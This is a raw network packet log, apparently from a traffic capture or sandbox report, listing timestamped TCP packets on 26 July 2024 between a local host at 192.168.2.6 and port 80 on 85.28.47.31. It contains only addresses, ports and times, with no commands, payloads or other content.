Jul 26, 2024 13:49:26.846816063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846827030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846836090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846846104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846856117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846878052 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.846905947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846918106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846927881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846937895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846949100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846960068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846968889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.846980095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847155094 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.847537994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847549915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847559929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847569942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847580910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847592115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847601891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847611904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847621918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847631931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847642899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847651958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847661972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847671986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847681999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.847692966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848120928 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848120928 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848181009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848191977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848298073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848309040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848319054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848330975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848337889 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848337889 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848356009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848366976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848377943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848413944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848413944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848413944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848445892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848457098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848467112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848478079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848495007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848505974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848516941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848529100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848537922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848548889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848557949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848568916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.848587036 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848587036 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848587036 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848629951 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.848629951 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849376917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849386930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849396944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849406958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849411964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849427938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849441051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849448919 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849448919 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849448919 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849451065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849462032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849473000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849483013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849493027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849503994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849510908 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849510908 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849510908 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849514961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849525928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849535942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849546909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849558115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849569082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.849582911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849582911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849643946 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.849643946 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850225925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850236893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850248098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850249052 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850258112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850270033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850301027 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850342989 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850537062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850752115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850761890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850771904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850781918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850791931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850810051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850821018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850831032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850831032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850831032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850831032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850841045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850852013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850900888 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850900888 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850900888 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.850969076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850980043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.850990057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.851243973 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.851243973 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.933163881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933187008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933192968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933197975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933254004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933264017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933274984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933279037 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.933288097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933460951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933471918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933476925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933487892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933499098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933510065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933528900 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.933722973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933733940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933744907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933754921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933758974 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.933758974 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.933765888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933778048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933960915 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.933960915 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.933970928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933981895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.933995008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934005022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934039116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934051037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934052944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.934052944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.934062004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934072971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934082985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934153080 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.934153080 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.934153080 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.934473038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934484005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934494019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934504986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934521914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934531927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934542894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934552908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934562922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934572935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934585094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934788942 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.934788942 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.934899092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934910059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934919119 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934930086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.934935093 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.935009956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.935101986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935112953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935123920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935134888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935151100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935162067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935172081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935180902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935193062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935203075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935214043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935224056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935234070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935240030 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.935245037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935256958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935266972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935276985 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.935862064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935863972 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.935873985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935883999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935900927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935914040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935926914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935936928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935947895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935960054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.935972929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.936119080 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.936249018 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.937952995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.937961102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.937968016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.937977076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.937988043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.937999010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938014984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938025951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938036919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938045979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938056946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938066006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938076973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938086987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938096046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938107014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938124895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938134909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938144922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938155890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938163042 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.938165903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938178062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938189030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938198090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938208103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938218117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938229084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938239098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938249111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938260078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938291073 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.938291073 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.938307047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938333988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938344955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938452959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938463926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938474894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938486099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938580990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938591957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938601971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.938790083 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.939151049 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.021047115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021075010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021086931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021097898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021109104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021121025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021152020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.021171093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021173954 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.021307945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021320105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021330118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021342039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021353006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021363020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021373987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021384001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021394968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021728039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021739006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021749973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021760941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021770954 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.021771908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021783113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021794081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.021804094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022053003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022063971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022069931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022079945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022093058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022102118 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.022121906 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.022274017 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.022280931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022293091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022304058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022314072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022324085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022341013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022351980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022362947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022372961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022382975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022393942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022403955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022413969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022423983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.022437096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023027897 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.023027897 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.023123980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023142099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023153067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023163080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023173094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023184061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023195028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023205042 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023216009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023225069 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023235083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023245096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023255110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023264885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023276091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023287058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023297071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023307085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023318052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023327112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.023583889 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.023583889 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024051905 CEST	80	59020	85.28.47.31	192.168.2.6
